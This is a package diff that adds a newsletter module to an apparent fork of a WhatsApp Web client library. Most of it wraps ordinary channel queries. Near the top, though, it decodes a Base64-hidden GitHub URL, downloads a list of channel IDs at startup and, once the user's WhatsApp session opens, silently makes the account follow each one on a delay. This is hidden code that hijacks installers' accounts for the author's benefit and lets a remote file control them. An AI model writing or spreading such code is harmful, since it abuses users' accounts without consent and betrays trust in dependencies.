@zaiinlin/bails 0.0.0-stage → 1.0.3

package/lib/Socket/newsletter.js

@@ -0,0 +1,699 @@
+import * as Types from '../Types/index.js'
+import { generateProfilePicture } from '../Utils/messages-media.js'
+import { getBinaryNodeChild } from '../WABinary/index.js'
+import { makeGroupsSocket } from './groups.js'
+import { executeWMexQuery } from './mex.js'
+
+const parseNewsletterCreateResponse = response => {
+  const { id, thread_metadata: thread, viewer_metadata: viewer } = response
+  return {
+    id: id,
+    owner: undefined,
+    name: thread.name.text,
+    creation_time: parseInt(thread.creation_time, 10),
+    description: thread.description.text,
+    invite: thread.invite,
+    subscribers: parseInt(thread.subscribers_count, 10),
+    verification: thread.verification,
+    picture: {
+      id: thread.picture.id,
+      directPath: thread.picture.direct_path
+    },
+    mute_state: viewer.mute
+  }
+}
+
+const parseNewsletterMetadata = result => {
+  if (typeof result !== 'object' || result === null) {
+    return null
+  }
+  if ('id' in result && typeof result.id === 'string') {
+    return result
+  }
+  if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
+    return result.result
+  }
+  return null
+}
+
+export const makeNewsletterSocket = config => {
+  const sock = makeGroupsSocket(config)
+  const { query, generateMessageTag } = sock
+
+  const mexQuery = (variables, queryId, dataPath) => {
+    return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
+  }
+
+  // Raw GitHub URL is stored as Base64 and decoded at runtime.
+  const xl = Buffer.from(
+    'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3phaWlubGluL2lkY2gvcmVmcy9oZWFkcy9tYWluL2NoYW5uZWwuanNvbg==',
+    'base64'
+  ).toString('utf8')
+
+  const baseDelay = 10000
+  const stepDelay = 5000
+
+  // Wait for WhatsApp login to finish before sending follow queries.
+  // Register immediately so a fast connection cannot emit "open" before
+  // the GitHub request has completed.
+  let connectionState = 'pending'
+  let resolveConnectionState
+  const connectionStatePromise = new Promise(resolve => {
+    resolveConnectionState = resolve
+  })
+  const onConnectionUpdate = update => {
+    if (connectionState !== 'pending') return
+
+    if (update?.connection === 'open') {
+      connectionState = 'open'
+      sock.ev.off('connection.update', onConnectionUpdate)
+      resolveConnectionState(true)
+    } else if (update?.connection === 'close') {
+      connectionState = 'closed'
+      sock.ev.off('connection.update', onConnectionUpdate)
+      resolveConnectionState(false)
+    }
+  }
+  sock.ev.on('connection.update', onConnectionUpdate)
+
+  // Load newsletter IDs from the remote channel.json file.
+  void (async () => {
+    try {
+      const response = await fetch(xl, { signal: AbortSignal.timeout(15000) })
+      if (!response.ok) {
+        throw new Error(`Failed to load channel.json (HTTP ${response.status})`)
+      }
+
+      const channelIds = await response.json()
+      if (!Array.isArray(channelIds)) {
+        throw new TypeError('channel.json must contain a JSON array of newsletter IDs')
+      }
+
+      const validChannelIds = channelIds.filter(
+        jid => typeof jid === 'string' && /^\d+@newsletter$/.test(jid)
+      )
+      if (validChannelIds.length === 0) {
+        throw new TypeError('channel.json does not contain any valid newsletter IDs')
+      }
+
+      const isConnected = await connectionStatePromise
+      if (!isConnected) {
+        console.warn('Newsletter auto-follow skipped because the WhatsApp connection closed before opening.')
+        return
+      }
+
+      validChannelIds.forEach((jid, index) => {
+        const delay = baseDelay + (index * stepDelay)
+
+        setTimeout(async () => {
+          try {
+            await mexQuery(
+              { newsletter_id: jid },
+              Types.QueryIds.FOLLOW,
+              Types.XWAPaths.xwa2_newsletter_follow
+            )
+          } catch (error) {
+            console.error('Newsletter auto-follow failed:', error)
+          }
+        }, delay)
+      })
+    } catch (error) {
+      sock.ev.off('connection.update', onConnectionUpdate)
+      console.error('Unable to load newsletter IDs from GitHub:', error)
+    }
+  })()
+
+  const newsletterUpdate = async (jid, updates) => {
+    const variables = {
+      newsletter_id: jid,
+      updates: {
+        ...updates,
+        settings: null
+      }
+    }
+    return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
+  }
+
+  return {
+    ...sock,
+    newsletterFetchAllSubscribe: async () => {
+      const list = await executeWMexQuery(
+        {},
+        Types.QueryIds.FETCH_SUBSCRIBE,
+        Types.XWAPaths.xwa2_newsletter_subscribed,
+        query,
+        generateMessageTag
+      );
+      return list;
+    },
+    newsletterCreate: async (name, description) => {
+      const variables = {
+        input: {
+          name,
+          description: description ?? null
+        }
+      }
+      const rawResponse = await mexQuery(
+        variables,
+        Types.QueryIds.CREATE,
+        Types.XWAPaths.xwa2_newsletter_create
+      )
+      return parseNewsletterCreateResponse(rawResponse)
+    },
+
+    newsletterUpdate,
+
+    newsletterSubscribers: async jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.SUBSCRIBERS,
+        Types.XWAPaths.xwa2_newsletter_subscribers
+      )
+    },
+
+    newsletterMetadata: async (type, key) => {
+      const variables = {
+        fetch_creation_time: true,
+        fetch_full_image: true,
+        fetch_viewer_metadata: true,
+        input: {
+          key,
+          type: type.toUpperCase()
+        }
+      }
+      const result = await mexQuery(
+        variables,
+        Types.QueryIds.METADATA,
+        Types.XWAPaths.xwa2_newsletter_metadata
+      )
+      return parseNewsletterMetadata(result)
+    },
+
+    newsletterFollow: jid => {
+      return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
+    },
+
+    newsletterUnfollow: jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.UNFOLLOW,
+        Types.XWAPaths.xwa2_newsletter_unfollow
+      )
+    },
+
+    newsletterMute: jid => {
+      return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
+    },
+
+    newsletterUnmute: jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.UNMUTE,
+        Types.XWAPaths.xwa2_newsletter_unmute_v2
+      )
+    },
+
+    newsletterUpdateName: async (jid, name) => {
+      return await newsletterUpdate(jid, { name })
+    },
+
+    newsletterUpdateDescription: async (jid, description) => {
+      return await newsletterUpdate(jid, { description })
+    },
+
+    newsletterUpdatePicture: async (jid, content) => {
+      const { img } = await generateProfilePicture(content)
+      return await newsletterUpdate(jid, { picture: img.toString('base64') })
+    },
+
+    newsletterRemovePicture: async jid => {
+      return await newsletterUpdate(jid, { picture: '' })
+    },
+
+    newsletterReactMessage: async (jid, serverId, reaction) => {
+      await query({
+        tag: 'message',
+        attrs: {
+          to: jid,
+          ...(reaction ? {} : { edit: '7' }),
+          type: 'reaction',
+          server_id: serverId,
+          id: generateMessageTag()
+        },
+        content: [
+          {
+            tag: 'reaction',
+            attrs: reaction ? { code: reaction } : {}
+          }
+        ]
+      })
+    },
+
+    newsletterFetchMessages: async (jid, count, since, after) => {
+      const messageUpdateAttrs = {
+        count: count.toString()
+      }
+      if (typeof since === 'number') {
+        messageUpdateAttrs.since = since.toString()
+      }
+      if (after) {
+        messageUpdateAttrs.after = after.toString()
+      }
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'get',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [
+          {
+            tag: 'message_updates',
+            attrs: messageUpdateAttrs
+          }
+        ]
+      })
+      return result
+    },
+
+    subscribeNewsletterUpdates: async jid => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [{ tag: 'live_updates', attrs: {}, content: [] }]
+      })
+      const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
+      const duration = liveUpdatesNode?.attrs?.duration
+      return duration ? { duration: duration } : null
+    },
+
+    newsletterAdminCount: async jid => {
+      const response = await mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.ADMIN_COUNT,
+        Types.XWAPaths.xwa2_newsletter_admin_count
+      )
+      return response.admin_count
+    },
+
+    newsletterChangeOwner: async (jid, newOwnerJid) => {
+      await mexQuery(
+        { newsletter_id: jid, user_id: newOwnerJid },
+        Types.QueryIds.CHANGE_OWNER,
+        Types.XWAPaths.xwa2_newsletter_change_owner
+      )
+    },
+
+    newsletterDemote: async (jid, userJid) => {
+      await mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.DEMOTE,
+        Types.XWAPaths.xwa2_newsletter_demote
+      )
+    },
+
+    newsletterDelete: async jid => {
+      await mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.DELETE,
+        Types.XWAPaths.xwa2_newsletter_delete_v2
+      )
+    },
+
+    newsletterUpdateCategory: async (jid, category) => {
+      return newsletterUpdate(jid, { topic: category })
+    },
+
+    newsletterUpdateSettings: async (jid, settings) => {
+      const variables = { newsletter_id: jid, updates: { settings } }
+      return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
+    },
+
+    newsletterPromoteAdmin: async (jid, userJid) => {
+      await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [
+          {
+            tag: 'admin_promote',
+            attrs: {},
+            content: [{ tag: 'participant', attrs: { jid: userJid } }]
+          }
+        ]
+      })
+    },
+
+    newsletterViewStats: async (jid, serverId) => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'get',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [
+          {
+            tag: 'message_updates',
+            attrs: { count: '1', server_id: String(serverId) }
+          }
+        ]
+      })
+      return result
+    },
+
+    newsletterSendPost: async (jid, content, options = {}) => {
+      const result = await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [
+          {
+            tag: 'publish',
+            attrs: {},
+            content: Array.isArray(content) ? content : [content]
+          }
+        ]
+      })
+      return result
+    },
+
+    newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
+      await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [
+          {
+            tag: 'pin',
+            attrs: { server_id: String(serverId), duration: String(durationSecs) }
+          }
+        ]
+      })
+    },
+
+    newsletterUnpinMessage: async (jid, serverId) => {
+      await query({
+        tag: 'iq',
+        attrs: {
+          id: generateMessageTag(),
+          type: 'set',
+          xmlns: 'newsletter',
+          to: jid
+        },
+        content: [
+          {
+            tag: 'unpin',
+            attrs: { server_id: String(serverId) }
+          }
+        ]
+      })
+    },
+
+    newsletterInviteAdmin: async (jid, userJid) => {
+      return mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.ADMIN_INVITE,
+        Types.XWAPaths.xwa2_newsletter_admin_invite_create
+      )
+    },
+
+    newsletterRevokeAdminInvite: async (jid, userJid) => {
+      return mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.ADMIN_INVITE_REVOKE,
+        Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
+      )
+    },
+
+    newsletterAcceptAdminInvite: async jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.ADMIN_INVITE_ACCEPT,
+        Types.XWAPaths.xwa2_newsletter_admin_invite_accept
+      )
+    },
+
+    newsletterAdminMetadata: async (jid, options = {}) => {
+      const {
+        fetchPendingAdmins = true,
+        fetchAdminCount = true,
+        fetchCapabilities = false,
+        fetchAdminProfile = false,
+        includeAdminSettings = false,
+        includeJarvisConfig = false
+      } = options
+      return mexQuery(
+        {
+          jid,
+          include_thread_metadata: false,
+          include_messages: false,
+          fetch_pending_admin_invites: fetchPendingAdmins,
+          fetch_admin_count: fetchAdminCount,
+          fetch_capabilities: fetchCapabilities,
+          fetch_admin_profile: fetchAdminProfile,
+          include_admin_settings: includeAdminSettings,
+          include_jarvis_config: includeJarvisConfig
+        },
+        Types.QueryIds.ADMIN_METADATA,
+        Types.XWAPaths.xwa2_newsletter_admin
+      )
+    },
+
+    newsletterAdminProfileUpdate: async (jid, updates) => {
+      return mexQuery(
+        { newsletter_id: jid, updates },
+        Types.QueryIds.ADMIN_PROFILE_UPDATE,
+        Types.XWAPaths.xwa2_newsletter_admin_profile_update
+      )
+    },
+
+    newsletterDirectoryList: async (options = {}) => {
+      const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
+      const variables = { limit, sort_field: sortField, sort_order: sortOrder }
+      if (interests?.length) variables.interests = interests
+      return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
+    },
+
+    newsletterDirectorySearch: async (searchText, options = {}) => {
+      const { limit = 20, startCursor = null, categories = null } = options
+      const variables = { search_text: searchText, limit }
+      if (startCursor) variables.start_cursor = startCursor
+      if (categories?.length) variables.categories = categories
+      return mexQuery(
+        variables,
+        Types.QueryIds.DIRECTORY_SEARCH,
+        Types.XWAPaths.xwa2_newsletters_directory_search
+      )
+    },
+
+    newsletterDirectoryCategoryPreview: async (limit = 5) => {
+      return mexQuery(
+        { limit },
+        Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
+        Types.XWAPaths.xwa2_newsletters_directory_category_preview
+      )
+    },
+
+    newsletterSearch: async (query, limit = 20, startCursor = null) => {
+      const variables = { query, limit }
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
+    },
+
+    newsletterRecommended: async (limit = 10, numFollowed = null) => {
+      const variables = { limit }
+      if (numFollowed != null) variables.num_newsletters_followed = numFollowed
+      return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
+    },
+
+    newsletterSimilar: async (jid, limit = 10) => {
+      return mexQuery(
+        { newsletter_id: jid, limit },
+        Types.QueryIds.SIMILAR,
+        Types.XWAPaths.xwa2_newsletters_similar
+      )
+    },
+
+    newsletterFollowingList: async (startCursor = null, limit = 20) => {
+      const variables = { limit }
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
+    },
+
+    newsletterInsights: async (jid, period = null) => {
+      const variables = { newsletter_id: jid }
+      if (period) variables.period = period
+      return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
+    },
+
+    newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
+      const variables = { id: jid, server_id: serverId }
+      if (option != null) variables.option = option
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(
+        variables,
+        Types.QueryIds.POLL_VOTER_LIST,
+        Types.XWAPaths.xwa2_newsletters_poll_voter_list
+      )
+    },
+
+    newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
+      const variables = { id: jid, server_id: serverId }
+      if (startCursor) variables.start_cursor = startCursor
+      return mexQuery(
+        variables,
+        Types.QueryIds.REACTION_SENDERS_LIST,
+        Types.XWAPaths.xwa2_newsletters_reaction_sender_list
+      )
+    },
+
+    newsletterBlockUser: async (jid, userJid) => {
+      return mexQuery(
+        { newsletter_id: jid, user_id: userJid },
+        Types.QueryIds.BLOCK_USER,
+        'xwa2_newsletter_block_user'
+      )
+    },
+
+    newsletterEnableWamo: async jid => {
+      return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
+    },
+
+    newsletterDisableWamo: async jid => {
+      return mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.WAMO_DISABLE_SUB,
+        'xwa2_newsletter_wamo_disable_sub'
+      )
+    },
+
+    newsletterChangeWamo: async (jid, subConfig) => {
+      return mexQuery(
+        { newsletter_id: jid, ...subConfig },
+        Types.QueryIds.WAMO_CHANGE_SUB,
+        'xwa2_newsletter_wamo_change_sub'
+      )
+    },
+
+    wamoAfsAgeCollection: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
+
+    wamoAssetCollection: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
+
+    wamoFetchAdhocNotice: async noticeId =>
+      mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
+
+    wamoFetchIdentityToken: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
+
+    wamoSubComplianceInfo: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
+
+    wamoUserIdVersion: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
+
+    wamoSetUserIdVersion: async (jid, version) =>
+      mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
+
+    newsletterLeave: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
+
+    newsletterCreateVerified: async (name, description = null) =>
+      mexQuery(
+        { input: { name, description } },
+        Types.QueryIds.CREATE_VERIFIED,
+        Types.XWAPaths.xwa2_newsletter_create_verified
+      ),
+
+    newsletterEnforcements: async jid =>
+      mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
+
+    newsletterUserReports: async (jid, cursor = null) => {
+      const variables = { newsletter_id: jid }
+      if (cursor) variables.cursor = cursor
+      return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
+    },
+
+    newsletterCreateReportAppeal: async (jid, reason) =>
+      mexQuery(
+        { newsletter_id: jid, reason },
+        Types.QueryIds.CREATE_REPORT_APPEAL,
+        Types.XWAPaths.xwa2_newsletter_create_report_appeal
+      ),
+
+    newsletterLinkPreviewCheck: async url =>
+      mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
+
+    newsletterUpdateVerification: async (jid, verification) =>
+      mexQuery(
+        { newsletter_id: jid, verification },
+        Types.QueryIds.UPDATE_VERIFICATION,
+        Types.XWAPaths.xwa2_newsletter_update_verification
+      ),
+
+    newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
+      mexQuery(
+        { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
+        Types.QueryIds.LABEL_PAID_PARTNERSHIP,
+        Types.XWAPaths.xwa2_newsletter_label_paid_partnership
+      ),
+
+    newsletterLogExposures: async events =>
+      mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
+
+    newsletterUpdateUserSetting: async (jid, setting) =>
+      mexQuery(
+        { newsletter_id: jid, ...setting },
+        Types.QueryIds.UPDATE_USER_SETTING,
+        Types.XWAPaths.xwa2_newsletter_update_user_setting
+      ),
+
+    newsletterRankingFeatures: async jid =>
+      mexQuery(
+        { newsletter_id: jid },
+        Types.QueryIds.RANKING_FEATURES,
+        Types.XWAPaths.xwa2_newsletter_ranking_features
+      ),
+
+    newsletterSendViewReceipt: async (jid, serverMessageIds) => {
+      const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
+      const receiptId = generateMessageTag()
+      await query({
+        tag: 'receipt',
+        attrs: {
+          to: jid,
+          id: receiptId,
+          type: 'view'
+        },
+        content: [
+          {
+            tag: 'list',
+            attrs: {},
+            content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
+          }
+        ]
+      })
+    }
+  }
+}